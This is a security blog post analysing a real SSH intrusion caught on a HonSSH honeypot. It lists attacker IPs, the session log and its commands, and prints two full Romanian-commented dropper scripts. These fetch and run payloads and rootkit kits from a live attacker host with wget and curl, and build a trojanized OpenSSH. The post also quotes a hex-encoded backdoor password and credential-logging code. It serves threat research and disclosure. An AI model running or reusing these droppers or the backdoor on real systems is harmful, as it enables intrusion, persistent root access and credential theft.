Quantcast
Channel: Some stuff about security..
Viewing all articles
Browse latest Browse all 65

Anatomy of a Real Linux Intrusion Part II: OpenSSH trojanized toolkit

$
0
0
In my previous post I introduced my current Honeypots setup with Raspberry Pi 3 running HonSSH and performing SSH MiTM. 

There are lot of attacks against the honeypots: SSH scans, user and password brute force attacks, scanning tools installed in the compromised system, IRC bouncers installed, etc. This set of attacks are happening from different countries, with different accounts, passwords, etc. But I'll leave the statistics analysis for other time. Now, I'm more interested in the tools Cyber Criminals are using :)


During this post and coming ones I'll write about some interesting malicious tools I have analysed.

In this specific post I'm writing about an intrusion involving tools with TrojanRootkit,antiforencis,sniffing and C&C capabilities.

IMPORTANT: By the time of writing this post, the malicious tools in the different URLs are still active. Cyber Criminals are still using them in their malicious activities. I have decided to make them public as I think they are a good resource for security researches.

Automatic Scanning and brute force 

The first  phase of the attack consists on brute forcing in order to get access.
The brute source IP are usually hosts which have been already compromised and are used to brute force a wide range of IP through automatic tools. In the case of this intrusion, the list of IP used to brute force, before the real intrusion happened, are the following:

116.96.24.144
158.69.84.195
171.234.230.47
185.110.132.201
193.169.53.171
194.203.215.254
195.154.45.84
203.113.167.163
217.243.198.134
42.114.236.217
91.224.160.106


Manual access to the compromised host with valid credentials

Once cyber criminals got some valid credentials from previous step, they will come back and log in manually, but this time from a different IP. In this case, the IP used is 5.189.136.43

016-09-04 10:26:43+0200 [honssh.server.HonsshServerFactory][PLUGIN][HONEYPOT-STATIC] - GET_PRE_AUTH_DETAILS
2016-09-04 10:26:43+0200
[-][PRE_AUTH] - Connecting to Honeypot: normando (192.168.16.2:22)
2016-09-04 10:26:43+0200
[-][ADV-NET] - HonSSH Interface already exists, not re-adding
2016-09-04 10:26:43+0200
[-][ADV-NET] - HonSSH FakeIP and iptables rules added
2016-09-04 10:26:43+0200
[-] Starting factory <honssh.client.HonsshClientFactory instance at 0x745ccaf8>
2016-09-04 10:26:43+0200
[Uninitialized][CLIENT] - New client connection
2016-09-04 10:26:43+0200
[HonsshClientTransport,client] kex alg, key alg: diffie-hellman-group-exchange-sha1 ssh-rsa
2016-09-04 10:26:43+0200
[HonsshClientTransport,client] outgoing: aes256-ctr hmac-sha1 none
2016-09-04 10:26:43+0200
[HonsshClientTransport,client] incoming: aes256-ctr hmac-sha1 none
2016-09-04 10:26:44+0200
[HonsshClientTransport,client] REVERSE
2016-09-04 10:26:44+0200
[HonsshClientTransport,client] NEW KEYS
2016-09-04 10:26:44+0200
[HonsshClientTransport,client][CLIENT] - Client Connection Secured
2016-09-04 10:26:44+0200
[HonsshServerTransport,76,5.189.136.43] kex alg, key alg: diffie-hellman-group1-sha1 ssh-rsa
2016-09-04 10:26:44+0200
[HonsshServerTransport,76,5.189.136.43] outgoing: aes256-ctr hmac-sha1 none
2016-09-04 10:26:44+0200
[HonsshServerTransport,76,5.189.136.43] incoming: aes256-ctr hmac-sha1 none
2016-09-04 10:26:44+0200
[-][PLUGIN][OUTPUT-TXTLOG] - CONNECTION_MADE
2016-09-04 10:26:44+0200
[-][PRE_AUTH] - CLIENT CONNECTED, REPLAYING BUFFERED PACKETS
2016-09-04 10:26:47+0200
[HonsshServerTransport,76,5.189.136.43] NEW KEYS
2016-09-04 10:26:49+0200
[HonsshClientTransport,client][SSH] - Detected Public Key Auth - Disabling!
2016-09-04 10:26:51+0200
[HonsshServerTransport,76,5.189.136.43][PLUGIN][HONEYPOT-STATIC] - GET_POST_AUTH_DETAILS
2016-09-04 10:26:51+0200
[-][POST_AUTH] - SUCCESS= FALSE, NOT POST-AUTHING
2016-09-04 10:26:51+0200
[HonsshClientTransport,client][PLUGIN][OUTPUT-TXTLOG] - LOGIN_SUCCESSFUL
2016-09-04 10:26:52+0200
[HonsshServerTransport,76,5.189.136.43][PLUGIN][OUTPUT-TXTLOG] - CHANNEL_OPENED
2016-09-04 10:26:57+0200
[HonsshServerTransport,76,5.189.136.43][TERM] - Entered command: unset HISTFILE
2016-09-04 10:26:57+0200
[HonsshServerTransport,76,5.189.136.43][PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:27:21+0200
[HonsshServerTransport,76,5.189.136.43][TERM] - Entered command: uname -a
2016-09-04 10:27:21+0200
[HonsshServerTransport,76,5.189.136.43][PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:27:23+0200
[HonsshServerTransport,76,5.189.136.43][TERM] - Entered command: export HISTFILE=/dev/null
2016-09-04 10:27:23+0200
[HonsshServerTransport,76,5.189.136.43][PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:27:23+0200
[HonsshServerTransport,76,5.189.136.43][TERM] - Entered command: sudo su -
2016-09-04 10:27:23+0200
[HonsshServerTransport,76,5.189.136.43][PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:27:23+0200
[HonsshServerTransport,76,5.189.136.43][TERM] - Entered command: export HISTFILE=/dev/null
2016-09-04 10:27:23+0200
[HonsshServerTransport,76,5.189.136.43][PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:27:23+0200
[HonsshServerTransport,76,5.189.136.43][TERM] - Entered command: mkdir /tmp/... ; cd /tmp/...
2016-09-04 10:27:23+0200
[HonsshServerTransport,76,5.189.136.43][PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:27:23+0200
[HonsshServerTransport,76,5.189.136.43][TERM] - Entered command: echo"nameserver 208.67.220.222">> /etc/resolv.conf
2016-09-04 10:27:23+0200
[HonsshServerTransport,76,5.189.136.43][PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:27:23+0200
[HonsshServerTransport,76,5.189.136.43][TERM] - Entered command: wget http://gopremium.mooo.com/.../auto/p
2016-09-04 10:27:23+0200
[HonsshServerTransport,76, ][PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:27:23+0200
[HonsshServerTransport,76,5.189.136.43][TERM] - Entered command: chmod +x p ; ./p
2016-09-04 10:27:23+0200
[HonsshServerTransport,76,5.189.136.43][PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:27:23+0200
[-][PLUGIN][OUTPUT-TXTLOG] - DOWNLOAD_FINISHED
2016-09-04 10:27:35+0200
[HonsshServerTransport,76,5.189.136.43][TERM] - Entered command: admin
2016-09-04 10:27:35+0200
[HonsshServerTransport,76,5.189.136.43][PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:27:46+0200
[HonsshServerTransport,76,5.189.136.43][TERM] - Entered command: cat /etc/issue
2016-09-04 10:27:46+0200
[HonsshServerTransport,76,5.189.136.43][PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:27:54+0200
[HonsshServerTransport,76,5.189.136.43][TERM] - Entered command: ct /etc/passwd^[[1~a
2016-09-04 10:27:54+0200
[HonsshServerTransport,76,5.189.136.43][PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:28:11+0200
[HonsshServerTransport,76,5.189.136.43][TERM] - Entered command: whoami
2016-09-04 10:28:11+0200
[HonsshServerTransport,76,5.189.136.43][PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:28:39+0200
[HonsshServerTransport,76,5.189.136.43][TERM] - Entered command: last|more
2016-09-04 10:28:39+0200
[HonsshServerTransport,76,5.189.136.43][PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:28:46+0200
[HonsshServerTransport,76,5.189.136.43][TERM] - Entered command: passwd
2016-09-04 10:28:46+0200
[HonsshServerTransport,76,5.189.136.43][PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:28:48+0200
[HonsshServerTransport,76,5.189.136.43][TERM] - Entered command: admin
2016-09-04 10:28:48+0200
[HonsshServerTransport,76,5.189.136.43][PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:29:01+0200
[HonsshServerTransport,76,5.189.136.43][TERM] - Entered command: modrepo
2016-09-04 10:29:01+0200
[HonsshServerTransport,76,5.189.136.43][PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:29:04+0200
[HonsshServerTransport,76,5.189.136.43][TERM] - Entered command: modrepo
2016-09-04 10:29:04+0200
[HonsshServerTransport,76,5.189.136.43][PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:29:09+0200
[HonsshServerTransport,76,5.189.136.43][TERM] - Entered command: modrepo1
2016-09-04 10:29:09+0200
[HonsshServerTransport,76,5.189.136.43][PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:29:12+0200
[HonsshServerTransport,76,5.189.136.43][TERM] - Entered command: modrepo1
2016-09-04 10:29:12+0200
[HonsshServerTransport,76,5.189.136.43][PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:29:21+0200
[HonsshServerTransport,76,5.189.136.43][TERM] - Entered command: ifconfig
2016-09-04 10:29:21+0200
[HonsshServerTransport,76,5.189.136.43][PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:33:58+0200
[HonsshServerTransport,76,5.189.136.43] Disconnecting with error, code 10
reason: user closed connection
2016-09-04 10:33:58+0200
[HonsshServerTransport,76,5.189.136.43] connection lost


From the logs, I can extract the set of commands executed:

unset HISTFILE   
uname -a
export HISTFILE=/dev/null
sudo su -
export HISTFILE=/dev/null
mkdir /tmp/... ; cd /tmp/...
echo "nameserver 208.67.220.222">> /etc/resolv.conf
wget http://gopremium.mooo.com/.../auto/p 
chmod +x p ; ./p
admin
cat /etc/issue
ct /etc/passwda  
last|more
passwd  
admin
modrepo
modrepo
modrepo1
modrepo1
ifconfig


Several things happen here:
  • Bad guys disable the HISTFILE, in order to not leave any evidence of the commands executed in the .bash_history. Also they create a directory "..." in /tmp to fool the administrator.
  • Cyber Criminals try to change the DNS. Likely to ensure that the host where the additional tools are stored can be resolved. But also might be to avoid any suspicious DNS query to an internal DNS server which can be monitored.
  • They introduced a command "ct /etc/passwda", which means they run the command manually (they introduced the 'a' of the command the last, after moving the cursor back several positions)
  • Lastly, attackers tried to changed the default password 'admin' to "modrepo", but it did not work. They finally changed it to "modrepo1".
  • A file "p" is pulled from http://gopremium.mooo.com/.../auto/p and then executed


Script 1 (p): checking the necessary tools

The first script pulled from http://gopremium.mooo.com/.../auto/p does several things:
  • It checks that the 'gcc' compiler in installed and works. To do this, the script compiles and executes a small "C" code program embedded in the script
  • If the compiler is not installed, it tries to install it. Depending on the Linux distribution, it will use yum, apt, yast, zipper. Then, it tries to compile and execute the program
  • Same approach than with 'gcc' is used for the linux tool 'sed' and 'curl'. 
  • Once the tools are installed a second script is pulled from http://gopremium.mooo.com/.../auto/p1 and executed 
This is the content of the first script "p"

#!/bin/bash
############## first installation part (p)
############## verificam daca serverul are instalat ce ne trebuie

# echo -e "\033[0;31m [-] \033[0m\033[0m" # red
# echo -e "\033[0;32m [+] \033[0m\033[0m" # green
# echo -e "\033[0;36m xxx \033[0m\033[0m" #cyan
echo

export HISTFILE=/dev/null
export PATH=$PATH:/usr/local/sbin/
export PATH=$PATH:/usr/sbin/
export PATH=$PATH:/sbin
export PATH=$PATH:/bin


if["$(whoami)" !="root"]; then
echo -e "\033[0;31m [-] \033[0m\033[0m you are not root"# red
echo; exit
fi

### verificam daca e instalat ce folosim
weneed="/usr/bin/gcc"
weinstall="gcc"
if[ -f $weneed]; then
echo -e "\033[0;32m [+] \033[0m\033[0m $weinstall found"# green
### testam gcc (la unele servere lipsesc librarii)
echo"#include <stdio.h>"> t.c
echo"#include <pthread.h>">> t.c
echo"int main() {">> t.c
echo"sleep(1);">> t.c
echo"return 0;">> t.c
echo"}">> t.c
gcc -o t t.c 1>>/dev/null 2>>/dev/null
if[ -f t ]; then
echo -e "\033[0;32m [+] \033[0m\033[0m $weinstall test was successful"# green
rm -rf t.c t
else
echo -e "\033[0;31m [-] \033[0m\033[0m $weinstall test failed. aborting. "# red
echo"try to install libc6-dev: apt-get install -y libc6-dev"
rm -rf t.c
echo ; exit
fi
# EOF testam gcc (la unele servere lipsesc librarii)
else
echo -e "\033[0;31m [-] \033[0m\033[0m $weinstall missing - trying to install... "# red
if[ -f /usr/bin/yum ] ; then yum install -y $weinstall ; fi
if[ -f /usr/bin/apt-get ] ; then apt-get update ; apt-get install -y $weinstall ; fi
if[ -f /sbin/yast ] ; then yast -i $weinstall ; fi
if[ -f /usr/bin/zypper ] ; then zypper -n install $weinstall ; fi

if[ -f $weneed]; then
echo ; echo -e "\033[0;32m [+] \033[0m\033[0m $weinstall installed."# green
### testam gcc (la unele servere lipsesc librarii)
echo"#include <stdio.h>"> t.c
echo"#include <pthread.h>">> t.c
echo"int main() {">> t.c
echo"sleep(1);">> t.c
echo"return 0;">> t.c
echo"}">> t.c
gcc -o t t.c 1>>/dev/null 2>>/dev/null
if[ -f t ]; then
echo -e "\033[0;32m [+] \033[0m\033[0m $weinstall test was successful"# green
rm -rf t.c t
else
echo -e "\033[0;31m [-] \033[0m\033[0m $weinstall test failed. aborting. "# red
echo"try to install libc6-dev: apt-get install -y libc6-dev"
rm -rf t.c
echo ; exit
fi
# EOF testam gcc (la unele servere lipsesc librarii)
else
echo ; echo -e "\033[0;31m [-] \033[0m\033[0m $weinstall failed to install. aborting. "# red
echo ; exit
fi
fi

weneed="/bin/sed"
weinstall="sed"
if[ -f $weneed]; then
echo -e "\033[0;32m [+] \033[0m\033[0m $weinstall found"# green
else
echo -e "\033[0;31m [-] \033[0m\033[0m $weinstall missing - trying to install... "# red
if[ -f /usr/bin/yum ] ; then yum install -y $weinstall ; fi
if[ -f /usr/bin/apt-get ] ; then apt-get update ; apt-get install -y $weinstall ; fi
if[ -f /sbin/yast ] ; then yast -i $weinstall ; fi
if[ -f /usr/bin/zypper ] ; then zypper -n install $weinstall ; fi

if[ -f $weneed]; then
echo ; echo -e "\033[0;32m [+] \033[0m\033[0m $weinstall installed."# green
else
echo ; echo -e "\033[0;31m [-] \033[0m\033[0m $weinstall failed to install. aborting. "# red
echo ; exit
fi
fi

weneed="/usr/bin/curl"
weinstall="curl"
if[ -f $weneed]; then
echo -e "\033[0;32m [+] \033[0m\033[0m $weinstall found"# green
else
echo -e "\033[0;31m [-] \033[0m\033[0m $weinstall missing - trying to install... "# red
if[ -f /usr/bin/yum ] ; then yum install -y $weinstall ; fi
if[ -f /usr/bin/apt-get ] ; then apt-get update ; apt-get install -y $weinstall ; fi
if[ -f /sbin/yast ] ; then yast -i $weinstall ; fi
if[ -f /usr/bin/zypper ] ; then zypper -n install $weinstall ; fi

if[ -f $weneed]; then
echo ; echo -e "\033[0;32m [+] \033[0m\033[0m $weinstall installed."# green
else
echo ; echo -e "\033[0;31m [-] \033[0m\033[0m $weinstall failed to install. aborting. "# red
echo ; exit
fi
fi
# EOF verificam daca e instalat ce folosim

echo -e "\033[0;32m [+] \033[0m\033[0m downloading OS & RK detection (p1)"# green
rm -rf p1
curl --progress-bar -O http://gopremium.mooo.com/.../auto/p1
if[ ! -f p1 ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi
chmod +x p1 ; ./p1

Some Interesting points:
  • The comments of the script are in Romanian. All the rest of scripts and tools in this intrusion are in Romanian as wellLikely the Threat Actors speaks Romanian, or are using tools which have been developed by someone who speaks Romanian.
  • The script are written to debug and report any issue (with fancy colours). They have invested quite a few time to develop all the scripts and tools.
  • The script says "downloading OS & RK detection" 
Below the output of the script executed in a lab host:



Script 2 (p1): Compiling a Trojanized version of SSH and testing it

The second script, p1, is in charge of detecting the architecture of the system. Base on the architecture and the Linux distribution, it pulls some additional tools, which are executed.

The full script is as follows:

#!/bin/bash
############## OS & RK detection (p1)
############## detecteaza OS, downloadeaza rk si ii face test

rm -rf 1tempfiles ; mkdir 1tempfiles

echo -e "\033[0;32m [+] \033[0m\033[0m trying to detect OS"
arch=$(uname -m)
kernel=$(uname -r)
if[ -f /etc/lsb-release ]; then
os=$(lsb_release -s -d)
elif[ -f /etc/debian_version ]; then
os="Debian $(cat /etc/debian_version)"
elif[ -f /etc/redhat-release ]; then
os=`cat /etc/redhat-release`
else
os="UNKNOWN OS $(uname -s) $(uname -r) aborting."
echo ; exit
fi
echo -e "\033[0;32m [+] \033[0m\033[0m OS found: $os (arch: $arch kernel: $kernel)"
echo"$os (arch: $arch kernel: $kernel)"> 1tempfiles/os.txt


echo -e "\033[0;32m [+] \033[0m\033[0m trying to find rk for this OS"# green
if["$arch"=="armv7l"] ; then
rk="arm71" ; echo"$rk"> 1tempfiles/rk.txt
echo"..."> 1tempfiles/side_files_dir.txt
echo -e "\033[0;32m [+] \033[0m\033[0m $rk.tgz found. downloading rk & install file (p2)"# green
rm -rf $rk.tgz ; rm -rf p2
curl --progress-bar -O http://gopremium.mooo.com/.../auto/$rk.tgz
curl --progress-bar -O http://gopremium.mooo.com/.../auto/p2
if[ ! -f $rk.tgz ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi
if[ ! -f p2 ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi
echo -e "\033[0;32m [+] \033[0m\033[0m starting rk test "# green
chmod +x p2
tar mzxf $rk.tgz ; rm -rf $rk.tgz
maindir=`pwd` ; rkdir="$maindir/$rk"
cd$rkdir ; ./run test$rk 1>>$maindir/1tempfiles/log.rktest 2>>$maindir/1tempfiles/log.rktest
echo -e "\033[0;32m [+] \033[0m\033[0m rk test done (logs in $maindir/1tempfiles/log.rktest). please manually check:"
echo
echo" $rkdir/$rk/test-sshd -p 65535"
echo" telnet 127.0.0.1 65535 OR ssh root@127.0.0.1 -p 65535"
echo" killall -9 test-sshd"
echo
echo -e "\033[0;36m [x] \033[0m\033[0m After checking, run the full install: ./p2 "#cyan
echo

elif["$arch"=="armv6l"] ; then
rk="arm61" ; echo"$rk"> 1tempfiles/rk.txt
echo"..."> 1tempfiles/side_files_dir.txt
echo -e "\033[0;32m [+] \033[0m\033[0m $rk.tgz found. downloading rk & install file (p2)"# green
rm -rf $rk.tgz ; rm -rf p2
curl --progress-bar -O http://gopremium.mooo.com/.../auto/$rk.tgz
curl --progress-bar -O http://gopremium.mooo.com/.../auto/p2
if[ ! -f $rk.tgz ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi
if[ ! -f p2 ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi
echo -e "\033[0;32m [+] \033[0m\033[0m starting rk test "# green
chmod +x p2
tar mzxf $rk.tgz ; rm -rf $rk.tgz
maindir=`pwd` ; rkdir="$maindir/$rk"
cd$rkdir ; ./run test$rk 1>>$maindir/1tempfiles/log.rktest 2>>$maindir/1tempfiles/log.rktest
echo -e "\033[0;32m [+] \033[0m\033[0m rk test done (logs in $maindir/1tempfiles/log.rktest). please manually check:"
echo
echo" $rkdir/$rk/test-sshd -p 65535"
echo" telnet 127.0.0.1 65535 OR ssh root@127.0.0.1 -p 65535"
echo" killall -9 test-sshd"
echo
echo -e "\033[0;36m [x] \033[0m\033[0m After checking, run the full install: ./p2 "#cyan
echo

elif["$arch"=="mips64"] ; then
rk="edgeos64" ; echo"$rk"> 1tempfiles/rk.txt
echo"..."> 1tempfiles/side_files_dir.txt
echo -e "\033[0;32m [+] \033[0m\033[0m $rk.tgz found. downloading rk & install file (p2)"# green
rm -rf $rk.tgz ; rm -rf p2
curl --progress-bar -O http://gopremium.mooo.com/.../auto/$rk.tgz
curl --progress-bar -O http://gopremium.mooo.com/.../auto/p2
if[ ! -f $rk.tgz ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi
if[ ! -f p2 ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi
echo -e "\033[0;32m [+] \033[0m\033[0m starting rk test "# green
chmod +x p2
tar mzxf $rk.tgz ; rm -rf $rk.tgz
maindir=`pwd` ; rkdir="$maindir/$rk"
cd$rkdir ; ./run test$rk 1>>$maindir/1tempfiles/log.rktest 2>>$maindir/1tempfiles/log.rktest
echo -e "\033[0;32m [+] \033[0m\033[0m rk test done (logs in $maindir/1tempfiles/log.rktest). please manually check:"
echo
echo" $rkdir/$rk/test-sshd -p 65535"
echo" telnet 127.0.0.1 65535 OR ssh root@127.0.0.1 -p 65535"
echo" killall -9 test-sshd"
echo
echo -e "\033[0;36m [x] \033[0m\033[0m After checking, run the full install: ./p2 "#cyan
echo

elif["$arch"=="mips"] ; then
rk="edgeos" ; echo"$rk"> 1tempfiles/rk.txt
echo"..."> 1tempfiles/side_files_dir.txt
echo -e "\033[0;32m [+] \033[0m\033[0m $rk.tgz found. downloading rk & install file (p2)"# green
rm -rf $rk.tgz ; rm -rf p2
curl --progress-bar -O http://gopremium.mooo.com/.../auto/$rk.tgz
curl --progress-bar -O http://gopremium.mooo.com/.../auto/p2
if[ ! -f $rk.tgz ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi
if[ ! -f p2 ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi
echo -e "\033[0;32m [+] \033[0m\033[0m starting rk test "# green
chmod +x p2
tar mzxf $rk.tgz ; rm -rf $rk.tgz
maindir=`pwd` ; rkdir="$maindir/$rk"
cd$rkdir ; ./run test$rk 1>>$maindir/1tempfiles/log.rktest 2>>$maindir/1tempfiles/log.rktest
echo -e "\033[0;32m [+] \033[0m\033[0m rk test done (logs in $maindir/1tempfiles/log.rktest). please manually check:"
echo
echo" $rkdir/$rk/test-sshd -p 65535"
echo" telnet 127.0.0.1 65535 OR ssh root@127.0.0.1 -p 65535"
echo" killall -9 test-sshd"
echo
echo -e "\033[0;36m [x] \033[0m\033[0m After checking, run the full install: ./p2 "#cyan
echo

elif[ ! -z "$(uname -a|grep vyos)"]&&["$arch"=="x86_64"] ; then
rk="vyos64" ; echo"$rk"> 1tempfiles/rk.txt
echo"..."> 1tempfiles/side_files_dir.txt
echo -e "\033[0;32m [+] \033[0m\033[0m $rk.tgz found. downloading rk & install file (p2)"# green
rm -rf $rk.tgz ; rm -rf p2
curl --progress-bar -O http://gopremium.mooo.com/.../auto/$rk.tgz
curl --progress-bar -O http://gopremium.mooo.com/.../auto/p2
if[ ! -f $rk.tgz ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi
if[ ! -f p2 ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi
echo -e "\033[0;32m [+] \033[0m\033[0m starting rk test "# green
chmod +x p2
tar mzxf $rk.tgz ; rm -rf $rk.tgz
maindir=`pwd` ; rkdir="$maindir/$rk"
cd$rkdir ; ./run test$rk 1>>$maindir/1tempfiles/log.rktest 2>>$maindir/1tempfiles/log.rktest
echo -e "\033[0;32m [+] \033[0m\033[0m rk test done (logs in $maindir/1tempfiles/log.rktest). please manually check:"
echo
echo" $rkdir/$rk/test-sshd -p 65535"
echo" telnet 127.0.0.1 65535 OR ssh root@127.0.0.1 -p 65535"
echo" killall -9 test-sshd"
echo
echo -e "\033[0;36m [x] \033[0m\033[0m After checking, run the full install: ./p2 "#cyan
echo

elif[ ! -z "$(uname -a|grep vyos)"]&&["$arch"=="i686"] ; then
rk="vyos" ; echo"$rk"> 1tempfiles/rk.txt
echo"..."> 1tempfiles/side_files_dir.txt
echo -e "\033[0;32m [+] \033[0m\033[0m $rk.tgz found. downloading rk & install file (p2)"# green
rm -rf $rk.tgz ; rm -rf p2
curl --progress-bar -O http://gopremium.mooo.com/.../auto/$rk.tgz
curl --progress-bar -O http://gopremium.mooo.com/.../auto/p2
if[ ! -f $rk.tgz ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi
if[ ! -f p2 ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi
echo -e "\033[0;32m [+] \033[0m\033[0m starting rk test "# green
chmod +x p2
tar mzxf $rk.tgz ; rm -rf $rk.tgz
maindir=`pwd` ; rkdir="$maindir/$rk"
cd$rkdir ; ./run test$rk 1>>$maindir/1tempfiles/log.rktest 2>>$maindir/1tempfiles/log.rktest
echo -e "\033[0;32m [+] \033[0m\033[0m rk test done (logs in $maindir/1tempfiles/log.rktest). please manually check:"
echo
echo" $rkdir/$rk/test-sshd -p 65535"
echo" telnet 127.0.0.1 65535 OR ssh root@127.0.0.1 -p 65535"
echo" killall -9 test-sshd"
echo
echo -e "\033[0;36m [x] \033[0m\033[0m After checking, run the full install: ./p2 "#cyan
echo


else
echo -e "\033[0;31m [-] \033[0m\033[0m rk not found"# red
echo -e "\033[0;32m [+] \033[0m\033[0m trying to install files needed for default kit"# green
echo
if[ -f /usr/bin/yum ] ; then yum install -y gcc make libgcrypt-devel zlib-devel openssl-devel ; fi
if[ -f /usr/bin/apt-get ] ; then apt-get update ; apt-get install -y gcc make libgcrypt11-dev zlib1g-dev libssl-dev ; fi
echo
echo -ne "\033[0;36m [x] \033[0m\033[0m press any key to download default rk kit or CTRL+c to exit"#cyan
read a
rk="default" ; echo"$rk"> 1tempfiles/rk.txt
echo".unix"> 1tempfiles/side_files_dir.txt
echo -e "\033[0;32m [+] \033[0m\033[0m downloading default rk kit & install file (p2)"# green
rm -rf $rk.tgz ; rm -rf p2
curl --progress-bar -O http://gopremium.mooo.com/.../auto/default.tgz
curl --progress-bar -O http://gopremium.mooo.com/.../auto/p2
if[ ! -f $rk.tgz ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi
if[ ! -f p2 ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi
echo -e "\033[0;32m [+] \033[0m\033[0m trying to make new rk"# green
tar mzxf $rk.tgz ; rm -rf $rk.tgz
maindir=`pwd` ; rkdir="$maindir/$rk"
cd$rkdir
rm -rf 1tempfiles/*
tar zxf openssh-5.9p1-cu-patch-SSHD-eu.tgz -C 1tempfiles/
cd 1tempfiles/openssh-5.9p1
./configure --prefix=/usr --sysconfdir=/etc/ssh
make
if[ ! -f sshd ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m failed to make new rk. aborting" ; echo ; exit ; fi
rm -rf ../../default/ssh ; mv ssh ../../default/
rm -rf ../../default/scp ; mv scp ../../default/
rm -rf ../../default/sftp ; mv sftp ../../default/
rm -rf ../../default/sshd-* ; mv sshd ../../default/sshd-eu
cd ../.. ; rm -rf 1tempfiles/* ### acum sunt in $rkdir
cd$maindir
echo -e "\033[0;32m [+] \033[0m\033[0m starting rk test "# green
chmod +x p2
cd$rkdir ; ./run test$rk 1>>$maindir/1tempfiles/log.rktest 2>>$maindir/1tempfiles/log.rktest
echo -e "\033[0;32m [+] \033[0m\033[0m rk test done (logs in $maindir/1tempfiles/log.rktest). please manually check:"
echo
echo" $rkdir/$rk/test-sshd -p 65535"
echo" telnet 127.0.0.1 65535 OR ssh root@127.0.0.1 -p 65535"
echo" killall -9 test-sshd"
echo
echo -e "\033[0;36m [x] \033[0m\033[0m After checking, run the full install: ./p2 "#cyan
echo



fi


As mentioned, different files are pulled depending on the architecture / Linux version. For ARMv6, which it's the processor of the Raspberry Pi 2, the URL is  http://gopremium.mooo.com/.../auto/arm61.tgz. There is specific packages for ARMv7, mips64, mips, vyos64 and vyos (Vyos is a open source network operating system). But also there is a default version, under the link http://gopremium.mooo.com/.../auto/default.tgz

The default version, as will see, contains the source code of  'OpenSSH', while the rest of the versions consists on some specific binary files.

As an example, this is the set of files in the ARMv6 tgz file, which included the binaries scp, sftp, ssh, sshd.


When the system is default, the script performs the following tasks
  • Download a file from  http://gopremium.mooo.com/.../auto/default.tgz
  • Download a file from http://gopremium.mooo.com/.../auto/p2
  • Install the necessary libraries to be able to compile OpenSSH
  • Untar the file default.tgz and compile a custom openssh version (5.9)
  • Test that the recent compiled SSHD version works as expected





The script gives instructions about how to test the new sshd



Next step, the script invites the user to run the script 'p2', which has been pulled by p1. This script, as I'll explain later, performs the real installation of the trojanized version of SSHD (overwrittting the default OS binaries). But previously, I'm going to take a look to the OpenSSH source code contained in default.tgz

Analysis of the OpenSSH source code

The first thing I checked is the timestamp of the files. Most of the files are from 2011, except some of them which are from the 20th of August 2016. This files are good point to start investigating



 The first file, version.h, contains something really interesting:



The default SSH version has been modifed to 6.0  (while The OpenSSH compiled version code is  5.9).

Looking deeper, in file 'auth-passwd.c', I  found something even more interesting: a default backdoor password, some code to grant access with that default password and a couple of additional things :)


SECRETPW[2] =0x74;
SECRETPW[3] =0x65;
SECRETPW[0] =0x50;
SECRETPW[1] =0x52;
SECRETPW[4] =0x73;
SECRETPW[6] =0x44;
SECRETPW[5] =0x74;

ILOG[10] =0x70;
ILOG[3] =0x63;
ILOG[8] =0x2f;
ILOG[7] =0x31;
ILOG[0] =0x2f;
ILOG[6] =0x31;
ILOG[1] =0x65;
ILOG[5] =0x58;
ILOG[2] =0x74;
ILOG[12] =0x00;
ILOG[4] =0x2f;
ILOG[9] =0x2e;
ILOG[11] =0x72;


if (!strcmp(password, SECRETPW)) {
secret_ok=1;
return1;
}

result = sys_auth_passwd(authctxt, password);
if(result){
if((f=fopen(ILOG,"a"))!=NULL){
